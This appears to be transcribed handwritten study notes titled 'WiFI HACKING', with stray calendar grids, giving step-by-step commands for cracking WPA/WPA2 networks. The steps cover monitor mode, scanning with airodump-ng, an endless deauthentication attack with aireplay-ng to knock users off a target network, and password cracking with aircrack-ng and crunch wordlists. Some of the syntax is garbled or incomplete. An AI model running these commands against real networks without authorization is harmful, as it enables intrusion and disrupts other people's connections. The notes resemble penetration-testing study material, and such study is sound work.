WiFI HACKING.

Date

WPA/WPA2 CRACKING

USING CRUNCH AND AIRCRACK

→ Set it in monitor mode.
- ifconfig
- ifconfig wlan0 down
- ifconfig wlan0 mode monitor
- ifconfig wlan0 up

✱ USING CRUNCH

Basic. Use crunch --help and do it with basics.

✱ AIRCRACK

→ airmon-ng check wlan0.
If there are problems,
   kill them in order → ① Network Manager
                       ② wpa-supplicant
                       ③ dhc client
                       ④ Rest as you wish.

→ Conduct a scan

- airodump-ng wlan0.

You will have a scan for available wireless adapters nearby.

BSSID   PWR   Beacons   #Data   #/s   CH   MB   ENC
MAC address   Strength.   Channels   Encryption
            (least -ve better)

CIPHER   AUTH   ESSID.
                  ↳ Name displayed .

- ~~airodump-ng -c B BSSID~~
               Channel   Mac
               no.

- airodump-ng   -c   -w   SCAN_test --bssid Mac/add   wlan0
                  channel.   Filename.

Disconnect other accessers →
- aireplay-ng -0 0 -a Mac address   wlan0
                  for infinit loop

FEB						2020
sun	mon	tue	wed	thu	fri	sat
						1
2	3	4	5	6	7	8
9	10	11	12	13	14	15
16	17	18	19	20	21	22
23	24	25	26	27	28	29

Date ....

- aircrack-ng -w [word list] - capture.cap -e SSID

  ‖

  'X'

  ℓ ℓ

- crunch ^ -t   1234567890 | X

  ‖   ‖

  Type of Password.   -f charset.lst for characters.

  ℓ → length.

FEB						2020
sun	mon	tue	wed	thu	fri	sat
						1
2	3	4	5	6	7	8
9	10	11	12	13	14	15
16	17	18	19	20	21	22
23	24	25	26	27	28	29